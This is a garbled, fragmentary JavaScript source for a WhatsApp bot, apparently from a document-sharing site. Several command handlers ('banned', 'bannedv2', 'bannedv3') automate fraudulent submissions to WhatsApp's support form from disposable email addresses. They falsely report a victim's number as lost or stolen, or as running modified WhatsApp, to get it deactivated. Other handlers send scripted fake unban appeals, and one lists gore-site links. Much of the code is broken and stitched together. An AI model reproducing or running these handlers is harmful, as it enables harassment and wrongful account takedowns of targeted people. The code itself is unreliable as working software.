Professional Documents
Culture Documents
/settings')
require('./lib/funclist')
const { exec, spawn, execSync } = require('child_process')
const util = require('util')
const axios = require('axios')
const moment = require('moment-timezone')
const chalk = require('chalk')
const path = require('path')
const cheerio = require('cheerio')
const crypto = require('crypto')
const cookie = require('cookie')
const genshin = require('genshin')
const FormData = require('form-data')
const FileType = require('file-type')
const fetch = require('node-fetch')
const fsx = require('fs-extra')
const ffmpeg = require('fluent-ffmpeg')
const Jimp = require('jimp')
const jsobfus = require('javascript-obfuscator')
const PhoneNumber = require('awesome-phonenumber')
const process = require('process')
const ms = require('ms')
const speed = require('performance-now')
const syntaxerror = require('syntax-error')
const ytdl = require('ytdl-core')
const os = require('os')
const { BufferJSON, WA_DEFAULT_EPHEMERAL, generateWAMessageFromContent, proto,
generateWAMessageContent, generateWAMessage, prepareWAMessageMedia,
areJidsSameUser, getContentType, MessageType, MessageOptions, Mimetype } =
require("darkleys")
const { clockString, tanggal, getTime, isUrl, sleep, runtime, fetchJson, getBuffer,
jsonformat, format, reSize, generateProfilePicture, getCase, parseMention } =
require('./lib/myfunc')
const { addResponList, delResponList, isAlreadyResponList,
isAlreadyResponListGroup, sendResponList, updateResponList, getDataResponList } =
require('./lib/list')
const { FajarNews, BBCNews, metroNews, CNNNews, iNews, KumparanNews, TribunNews,
DailyNews, DetikNews, OkezoneNews, CNBCNews, KompasNews, SindoNews, TempoNews,
IndozoneNews, AntaraNews, RepublikaNews, VivaNews, KontanNews, MerdekaNews,
KomikuSearch, AniPlanetSearch, KomikFoxSearch, KomikStationSearch, MangakuSearch,
KiryuuSearch, KissMangaSearch, KlikMangaSearch, PalingMurah, LayarKaca21,
AminoApps, Mangatoon, WAModsSearch, Emojis, CoronaInfo, JalanTikusMeme, Cerpen,
Quotes, Couples, Darkjokes } = require("dhn-api");
const { Configuration, OpenAIApi } = require("openai")
const fs = require('fs')
const githubstalk = require('./scrape/githubstalk')
const { antiSpam } = require('./lib/antispam')
const { color, bgcolor } = require('./lib/color')
const { jadibot, conns } = require('./jadibot')
const { uploadImage } = require('./lib/uploadImage')
const { uptotelegra, TelegraPh } = require('./scrape/upload')
const { dafontSearch, dafontDown } = require('./scrape/dafont')
const { ytDonlodMp3, ytDonlodMp4, ytPlayMp3, ytPlayMp4 } = require('./scrape/yt')
const anon = require('./lib/menfess')
const darkleys = require('darkleys')
const vm = require('node:vm')
const maker = require('mumaker')
const owner = JSON.parse(fs.readFileSync('./database/owner.json'))
const banned = JSON.parse(fs.readFileSync('./database/banned.json'))
const db_respon_list = JSON.parse(fs.readFileSync('./database/list.json'))
const prem = JSON.parse(fs.readFileSync('./database/premium.json'))
const dblist = JSON.parse(fs.readFileSync('./database/listall.json'))
const db_menfess = JSON.parse(fs.readFileSync('./database/func_menfess.json'))
let welkom = JSON.parse(fs.readFileSync('./database/welcome.json'))
let register = JSON.parse(fs.readFileSync('./database/register.json'))
global.db = JSON.parse(fs.readFileSync('./database/database.json'))
if (global.db) global.db = {
sticker: {},
database: {},
game: {},
others: {},
users: {},
chats: {},
...(global.db || {})
}
try {
const isNumber = x => typeof x === 'number' && !isNaN(x)
const user = global.db.users[m.sender]
if (typeof user !== 'object') global.db.users[m.sender] = {}
const chats = global.db.chats[m.chat]
if (typeof chats !== 'object') global.db.chats[m.chat] = {}
if (user) {
if (!isNumber(user.afkTime)) user.afkTime = -1
if (!('afkReason' in user)) user.afkReason = ''
} else global.db.users[m.sender] = {
afkTime: -1,
afkReason: '',
}
} catch (err) {
console.error(err)
}
if (!dark.public) {
if (!m.key.fromMe) return
}
// Auto Registrasi
if (isCmd && !isRegister) {
try {
ppimg = await dark.profilePictureUrl(`${sender.split('@')[0]}@c.us`)
} catch {
ppimg = 'https://i0.wp.com/www.gambarunik.id/wp-content/uploads/2019/06/Top-Gambar-
Foto-Profil-Kosong-Lucu-Tergokil-.jpg'
}
register.push(sender)
fs.writeFileSync('./database/register.json', JSON.stringify(register))
/////////
darkbotzmd = fs.readFileSync('./p.jpg')
dark.sendMessage(m.chat, {image: { url: 'https://encrypted-tbn0.gstatic.com/images?
q=tbn:ANd9GcSlaKCZE6A9OdzmLHnsxL28_XT8qjBsL1tSlg&usqp=CAU' }, caption: ` *「 𝙑𝙀
𝙍𝙄𝙁𝙄𝘾𝘼𝙏𝙄𝙊𝙉 𝙎𝙐𝙆𝙎𝙀𝙎 」*
//Fake Reply
const ftroli = { key: {fromMe: false,participant: `0@s.whatsapp.net`, ...(from ?
{ remoteJid: "16505434800@s.whatsapp.net" } : {})},message: {orderMessage:
{itemCount : 200, status: 1,surface : 2,message: `${fake}\n${ucapanWaktu}
kak`,orderTitle: `${ucapanWaktu} kak`,thumbnail:
fs.readFileSync('./stik/quoted.jpg'), sellerJid: `0@s.whatsapp.net`}}}
const mentions = (teks, memberr, id) => {
(id == null || id == undefined || id == false) ? dark.sendMessage(from, { text:
teks, mentions: memberr, contextInfo: { "mentionedJid": memberr }}):
dark.sendMessage(from, {mentions: memberr,text: teks, contextInfo:
{ "mentionedJid": memberr }},{quoted: m})
}
dark.sendTextWithMentions = async (jid, text, quoted, options = {}) =>
dark.sendMessage(jid, { text: text, contextInfo: { mentionedJid:
[...text.matchAll(/@(\d{0,16})/g)].map(v => v[1] + '@s.whatsapp.net') }, ...options
}, { quoted })
const fkontak = { key: {fromMe: false,participant: `0@s.whatsapp.net`, ...(from ? {
remoteJid: `0@s.whatsapp.net` } : {}) }, message: { 'contactMessage':
{ 'displayName': `${pushname}`, 'vcard': `BEGIN:VCARD\nVERSION:3.0\nN:XL;$
{pushname},;;;\nFN:${pushname},\nitem1.TEL;waid=${sender.split('@')[0]}:$
{sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`, 'jpegThumbnail':
fs.readFileSync('./stik/thumb.jpeg')}}}
if (isCmd) {
console.log(chalk.yellow.bgCyan.bold(' - 𝙺𝚊𝚢𝚕𝚊 𝙱𝚘𝚝 '), color(`[ PESAN ]`, `$
{halalu}`), color(`FROM`, `${halalo}`), color(`${pushname}`, `${halali}`),
color(`Text :`, `${halala}`), color(`${body}`, `${halale}`))
}
//menfess
const cekChat = (satu, dua) => {
let x2 = false
Object.keys(db_menfess).forEach((i) => {
if (db_menfess[i].id == dua){x2 = i}})
if (x2 !== false) {
if (satu == "id"){ return db_menfess[x2].id }
if (satu == "teman"){ return db_menfess[x2].teman }
}
if (x2 == false) { return null }
}
//setpp
const jimp_1 = require('jimp')
async function pepe(media) {
const jimp = await jimp_1.read(media)
const min = jimp.getWidth()
const max = jimp.getHeight()
const cropped = jimp.crop(0, 0, min, max)
return {
img: await cropped.scaleToFit(720,
720).getBufferAsync(jimp_1.MIME_JPEG),
preview: await cropped.normalize().getBufferAsync(jimp_1.MIME_JPEG)
}
}
//Suit PvP
this.suit = this.suit ? this.suit : {}
let roof = Object.values(this.suit).find(roof => roof.id && roof.status && [roof.p,
roof.p2].includes(m.sender))
if (roof) {
let win = ''
let tie = false
if (m.sender == roof.p2 && /^(acc(ept)?|terima|gas|oke?|tolak|gamau|nanti|ga(k.)?
bisa|y)/i.test(m.text) && m.isGroup && roof.status == 'wait') {
if (/^(tolak|gamau|nanti|n|ga(k.)?bisa)/i.test(m.text)) {
dark.sendTextWithMentions(m.chat, `@${roof.p2.split`@`[0]} menolak suit, suit
dibatalkan`, m)
delete this.suit[roof.id]
return !0
}
roof.status = 'play'
roof.asal = m.chat
clearTimeout(roof.waktu)
//delete roof[roof.id].waktu
dark.sendText(m.chat, `Suit telah dikirimkan ke chat
@${roof.p.split`@`[0]} dan
@${roof.p2.split`@`[0]}
Silahkan pilih suit di chat masing"
klik https://wa.me/${botNumber.split`@`[0]}`, m, { mentions: [roof.p, roof.p2] })
if (!roof.pilih) dark.sendText(roof.p, `Silahkan pilih \n\nBatu\nKertas📄
\nGunting✂️`,
m)
✂️
if (!roof.pilih2) dark.sendText(roof.p2, `Silahkan pilih \n\nBatu\nKertas\nGunting
`, m)
roof.waktu_milih = setTimeout(() => {
if (!roof.pilih && !roof.pilih2) dark.sendText(m.chat, `Kedua pemain tidak niat
main,\nSuit dibatalkan`)
else if (!roof.pilih || !roof.pilih2) {
win = !roof.pilih ? roof.p2 : roof.p
dark.sendTextWithMentions(m.chat, `@${(roof.pilih ? roof.p2 : roof.p).split`@`[0]}
tidak memilih suit, game berakhir`, m)
}
delete this.suit[roof.id]
return !0
}, roof.timeout)
}
let jwb = m.sender == roof.p
let jwb2 = m.sender == roof.p2
let g = /gunting/i
let b = /batu/i
let k = /kertas/i
let reg = /^(gunting|batu|kertas)/i
if (jwb && reg.test(m.text) && !roof.pilih && !m.isGroup) {
roof.pilih = reg.exec(m.text.toLowerCase())[0]
roof.text = m.text
m.reply(`Kamu telah memilih ${m.text} ${!roof.pilih2 ? `\n\nMenunggu lawan memilih`
: ''}`)
if (!roof.pilih2) dark.sendText(roof.p2, '_Lawan sudah memilih_\nSekarang giliran
kamu', 0)
}
if (jwb2 && reg.test(m.text) && !roof.pilih2 && !m.isGroup) {
roof.pilih2 = reg.exec(m.text.toLowerCase())[0]
roof.text2 = m.text
m.reply(`Kamu telah memilih ${m.text} ${!roof.pilih ? `\n\nMenunggu lawan
memilih` : ''}`)
if (!roof.pilih) dark.sendText(roof.p, '_Lawan sudah memilih_\nSekarang giliran
kamu', 0)
}
let stage = roof.pilih
let stage2 = roof.pilih2
if (roof.pilih && roof.pilih2) {
clearTimeout(roof.waktu_milih)
if (b.test(stage) && g.test(stage2)) win = roof.p
else if (b.test(stage) && k.test(stage2)) win = roof.p2
else if (g.test(stage) && k.test(stage2)) win = roof.p
else if (g.test(stage) && b.test(stage2)) win = roof.p2
else if (k.test(stage) && b.test(stage2)) win = roof.p
else if (k.test(stage) && g.test(stage2)) win = roof.p2
else if (stage == stage2) tie = true
dark.sendText(roof.asal, `_*Hasil Suit*_${tie ? '\nSERI' : ''}
try {
ppuser = await dark.profilePictureUrl(m.sender, 'image')
} catch (err) {
ppuser = 'https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-
973460_960_720.png?q=60'
}
ppnyauser = await reSize(ppuser, 300, 300)
const lep = {
key: {
fromMe: false,
participant: `0@s.whatsapp.net`,
...({ remoteJid: "" })
},
message: {
"imageMessage": {
"mimetype": "image/jpeg",
"caption": `dark Bot WhatsApp`,
"jpegThumbnail": ppnyauser
}
}
}
const ftext = {
key: {
fromMe: false,
participant: `0@s.whatsapp.net`,
...(from ? {
remoteJid: '6285870808160@s.whatsapp.net' } : {}) },
message: {
extendedTextMessage: {
text: `${m.pushName}`,
title: `${m.pushName}`,
jpegThumbnail: ppnyauser } } }
let list = []
for (let i of owner) {
list.push({
displayName: await dark.getName(i + '@s.whatsapp.net'),
vcard: `BEGIN:VCARD\n
VERSION:3.0\n
N:${await dark.getName(i + '@s.whatsapp.net')}\n
FN:${await dark.getName(i + '@s.whatsapp.net')}\n
item1.TEL;waid=${i}:${i}\n
item1.X-ABLabel:Ponsel\n
item2.EMAIL;type=INTERNET:darkbotzmd@gmail.com\n
item2.X-ABLabel:Email\n
item3.URL:Mending Turu Banh\n
item3.X-ABLabel:YouTube\n
item4.ADR:;;Indonesia;;;;\n
item4.X-ABLabel:Region\n
END:VCARD`
})
}
dark.sendListMsg = (jid, text = '', footer = '', title = '' , butText = '', sects =
[], quoted) => {
let sections = sects
var listMes = {
text: text,
footer: footer,
title: title,
buttonText: butText,
sections
}
dark.sendMessage(jid, listMes, { quoted: quoted })
}
let rn = ['recording','composing']
let jd = rn[Math.floor(Math.random() * rn.length)];
if (command) {
//dark.sendPresenceUpdate(jd, from)
dark.readMessages([m.key])
}
if (autosticker) {
if (/image/.test(mime) && !/webp/.test(mime)) {
let media = await quoted.download()
let encmedia = await dark.sendImageAsSticker(m.chat, media, m, { packname:
global.packname, author: global.author })
await fs.unlinkSync(encmedia)
} else if (/video/.test(mime) && !/webp/.test(mime)) {
if ((quoted.msg || quoted).seconds > 11) return reply('Maksimal 10 detik!')
let media = await quoted.download()
let encmedia = await dark.sendVideoAsSticker(m.chat, media, m, { packname:
global.packname, author: global.author })
await fs.unlinkSync(encmedia)
}
}
} catch (error) {
m.reply('*Invalid data!*');
}
};
break
case 'DWL': case 'dwl': case 'list-url':{
reply(`1. https://kekma.net
2. https://screamer.wiki
3. https://pppppppppp.xyz
4. https://1man1jar.org
5. https://goreforum.com
6. https://best-g0re.tumblr.com`)
}
break
case 'banned': {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
var targetnya = m.sender.split('@')[0]
var axioss = require ("axios")
let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=1")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "ID")
form.append("phone_number", q)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", "Verloren/gestohlen: Bitte deaktivieren Sie mein
Konto")
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1007735016")
form.append("__comment_req", "0")
let res = await axioss({
url,
method: "POST",
data: form,
headers: {
cookie
}
})
dark.sendMessage(from, { text: util.format(res.data)}, {quoted:m})
}
break
case 'bannedv2': {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
var targetnya = m.sender.split('@')[0]
try {
var axioss = require('axios')
let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=1")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "+")
form.append("phone_number", `+${targetnya}`,)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", "Perdido/roubado: desative minha conta")
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1007735016")
form.append("__comment_req", "0")
})
let payload = String(res.data)
if (payload.includes(`"payload":true`)) {
reply(`##- WhatsApp Support -##
Hai,
Kami telah menonaktifkan akun WhatsApp Anda. Ini berarti akun Anda telah di
keluarkan maka untuk sementara dinonaktifkan dan akan dihapus secara otomatis dalam
30 hari jika Anda tidak mendaftarkan ulang akun tersebut. Harap dicatat: Tim
Dukungan Pelanggan WhatsApp tidak dapat menghapus akun Anda secara manual.
• Kontak Anda di WhatsApp mungkin masih melihat nama dan gambar profil Anda.
• Setiap pesan yang mungkin dikirim oleh kontak Anda ke
Jika Anda ingin mendapatkan kembali akun Anda, daftarkan ulang akun Anda sebagai
kode yang Anda terima melalui SMS atau panggilan telepon. Jika Anda mendaftar
ulang
akun sebelum dihapus, Anda akan tetap berada di semua obrolan grup. Anda akan
memiliki opsi untuk memulihkan data Anda. Pelajari caranya Jika Anda tidak
mendaftarkan ulang akun Anda, akun tersebut mungkin akan dihapus dan proses ini
tidak dapat dibatalkan. Sayangnya, WhatsApp tidak dapat membantu Anda memulihkan
obrolan, dokumen, media
Catatan: Jika perangkat Anda hilang atau dicuri, sebaiknya hubungi penyedia
seluler Anda untuk memblokir kartu SIM Anda sesegera mungkin. Memblokir kartu SIM
Anda mencegah orang lain mendaftar dan mengakses akun yang terkait dengan kartu
SIM.
⚫ Untuk informasi lebih lanjut tentang penonaktifan akun pada ponsel yang hilang
dan dicuri, silakan baca artikel ini.
Jika Anda memiliki pertanyaan atau masalah lain, jangan ragu untuk menghubungi
kami. Kami akan dengan senang hati membantu!`)
} else if (payload.includes(`"payload":false`)) {
reply(`##- WhatsApp Support -##
Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui
email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`)
} else reply(util.format(res.data))
} catch (err) {reply(`${err}`)}
}
break
case 'bannedv3': {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
var targetnya = m.sender.split('@')[0]
try {
var axioss = require('axios')
let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=1")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "+")
form.append("phone_number", `+${targetnya}`,)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", `I noticed that a user was using modified whatsapp, so
i ask support to ban this account for violating terms of service, and the account
uses a WhatsApp bot that can send malicious messages so that other users' WhatsApp
cannot work
Number : +${targetnya}`)
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1007735016")
form.append("__comment_req", "0")
})
reply(`Wait 1-24 Jam an untuk proses banned dari bot dan tunggu ±30 Detik an untuk
melihat balasan email dari WhatsApp Tuan Wangsaff-XD🥺🙏`)
await reply(mess.wait)
let payload = String(res.data)
if (payload.includes(`"payload":true`)) {
reply(`##- WhatsApp Support -##
Sepertinya Anda menggunakan atau mengajukan pertanyaan mengenai versi WhatsApp yang
tidak resmi.
Untuk memastikan Anda memiliki akses ke WhatsApp, verifikasi ulang nomor telepon
Anda menggunakan aplikasi resmi kami yang dapat diunduh dari situs web kami:
www.whatsapp.com/download
Aplikasi tidak resmi membahayakan keamanan dan keselamatan Anda, dan kami tidak
mendukungnya.
Tidak ada jaminan bahwa pesan atau data Anda seperti lokasi Anda atau file yang
Anda bagikan akan bersifat privat dan aman.
Akun mungkin akan diblokir karena penggunaan aplikasi WhatsApp yang tidak resmi
bertentangan dengan Ketentuan Layanan kami.
1. Penggunaan Aplikasi
Anda setuju untuk menggunakan aplikasi WhatsApp ("Aplikasi") hanya untuk tujuan
yang sah dan sesuai dengan hukum yang berlaku. Anda tidak diizinkan untuk
menggunakan Aplikasi untuk tujuan ilegal atau melanggar hak-hak pihak ketiga. Anda
juga setuju untuk tidak menggunakan Aplikasi untuk mengirimkan, menerima, atau
menyimpan informasi yang melanggar hukum atau melanggar hak-hak pihak ketiga.
Anda setuju bahwa semua hak cipta, merek dagang, dan hak milik lainnya yang terkait
dengan Aplikasi adalah milik WhatsApp, Inc. dan/atau afiliasinya. Anda tidak
diizinkan untuk menggunakan atau memodifikasi hak cipta, merek dagang, atau hak
milik lainnya tanpa izin tertulis dari WhatsApp, Inc. atau afiliasinya.
Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui
email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`)
} else reply(util.format(res.data))
} catch (err) {reply(`${err}`)}
}
break
case 'unbanned': {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
var targetnya = m.sender.split('@')[0]
try {
var axioss = require('axios')
let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=199999999999999999995777678776668876677777")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "+")
form.append("phone_number", `+${targetnya}`,)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", `Aku Tidak Tau Mengapa Nomor Saya Tiba Tiba Di Larang
Dari Menggunakan WhatsApp Aku Hanya Membalas Pesan Customer Saya Mohon Buka
Larangan Akun WhatsApp Saya: [+${targetnya}]
Terimakasih`)
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1007735016")
form.append("__comment_req", "0")
})
reply(`Wait 1-24 Jam an untuk proses unbanned dari bot dan tunggu ±30 Detik an
untuk melihat balasan email dari WhatsApp Tuan Wangsaff-XD🥺🙏`)
await reply(mess.wait)
let payload = String(res.data)
if (payload.includes(`"payload":true`)) {
reply(`##- WhatsApp Support -##
Halo,
Sistem kami menandai aktivitas akun Anda sebagai pelanggaran terhadap Ketentuan
Layanan kami dan memblokir nomor telepon Anda. Kami sangat menghargai Anda sebagai
pengguna. Mohon maaf atas kebingungan atau ketidaknyamanan yang disebabkan oleh
masalah ini.
Kami telah menghapus pemblokiran setelah meninjau aktivitas akun Anda. Sekarang
seharusnya Anda sudah memiliki akses ke WhatsApp.
Sebagai langkah selanjutnya, kami sarankan untuk mendaftarkan ulang nomor telepon
Anda di WhatsApp untuk memastikan Anda memiliki akses. Anda dapat mengunjungi situs
web kami untuk
Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui
email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`)
} else reply(util.format(res.data))
} catch (err) {reply(`${err}`)}
}
break
case 'unbannedv2': {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
var targetnya = m.sender.split('@')[0]
try {
var axioss = require('axios')
let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=199999999999999999995777678776668876677777")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "+")
form.append("phone_number", `+${targetnya}`,)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", `Pihak WhatsApp yang terhormat mohon bantuan anda
segera
[${targetnya}]
Saya telah mengirim beberapa email dan laporan ke pihak WhatsApp untuk mengajukan
banding agar nomor saya cepat di buka dari daftar blokir, saya sangat membutuhkan
untuk keperluan pribadi berkomunikasi dengan keluarga jika saya melakukan
pelanggaran sebelumnya maka saya akan menggunakan nomor saya tersebut dengan lebih
hati-hati dan lebih baik lagi dari sebelumnya dan saya sekarang telah menuruti apa
yang pihak WhatsApp sarankan, dan saya sangat berharap sekarang juga nomor saya
dapat di gunakan kembali. Terimakasih`)
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1007735016")
form.append("__comment_req", "0")
Halo,
Sistem kami menandai aktivitas akun Anda sebagai pelanggaran terhadap Ketentuan
Layanan kami dan memblokir nomor telepon Anda. Kami sangat menghargai Anda sebagai
pengguna. Mohon maaf atas kebingungan atau ketidaknyamanan yang disebabkan oleh
masalah ini.
Kami telah menghapus pemblokiran setelah meninjau aktivitas akun Anda. Sekarang
seharusnya Anda sudah memiliki akses ke WhatsApp.
Sebagai langkah selanjutnya, kami sarankan untuk mendaftarkan ulang nomor telepon
Anda di WhatsApp untuk memastikan Anda memiliki akses. Anda dapat mengunjungi situs
web kami untuk
Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui
email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`)
} else reply(util.format(res.data))
} catch (err) {reply(`${err}`)}
}
break
case 'unbannedv3': {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
var targetnya = m.sender.split('@')[0]
try {
var axioss = require('axios')
let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=199999999999999999995777678776668876677777")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "+")
form.append("phone_number", `+${targetnya}`,)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", `Hola WhatsApp
Actualmente, algunas personas tienen muchas formas efectivas de bloquear números de
usuario e informarlos sin ningún motivo, de hecho, conozco bien los términos de
servicio y los cumplí, pero algunos piratas informáticos me hicieron un informe
falso y mi número fue bloqueado, desbloquee el número ${targetnya}`)
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1007735016")
form.append("__comment_req", "0")
})
reply(`Wait 1-24 Jam an untuk proses unbanned dari bot dan tunggu ±30 Detik an
untuk melihat balasan email dari WhatsApp Tuan Wangsaff-XD🥺🙏`)
await reply(mess.wait)
let payload = String(res.data)
if (payload.includes(`"payload":true`)) {
reply(`##- WhatsApp Support -##
Halo,
Sistem kami menandai aktivitas akun Anda sebagai pelanggaran terhadap Ketentuan
Layanan kami dan memblokir nomor telepon Anda. Kami sangat menghargai Anda sebagai
pengguna. Mohon maaf atas kebingungan atau ketidaknyamanan yang disebabkan oleh
masalah ini.
Kami telah menghapus pemblokiran setelah meninjau aktivitas akun Anda. Sekarang
seharusnya Anda sudah memiliki akses ke WhatsApp.
Sebagai langkah selanjutnya, kami sarankan untuk mendaftarkan ulang nomor telepon
Anda di WhatsApp untuk memastikan Anda memiliki akses. Anda dapat mengunjungi situs
web kami untuk
Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui
email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`)
} else reply(util.format(res.data))
} catch (err) {reply(`${err}`)}
}
break
case 'unbannedv4': {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
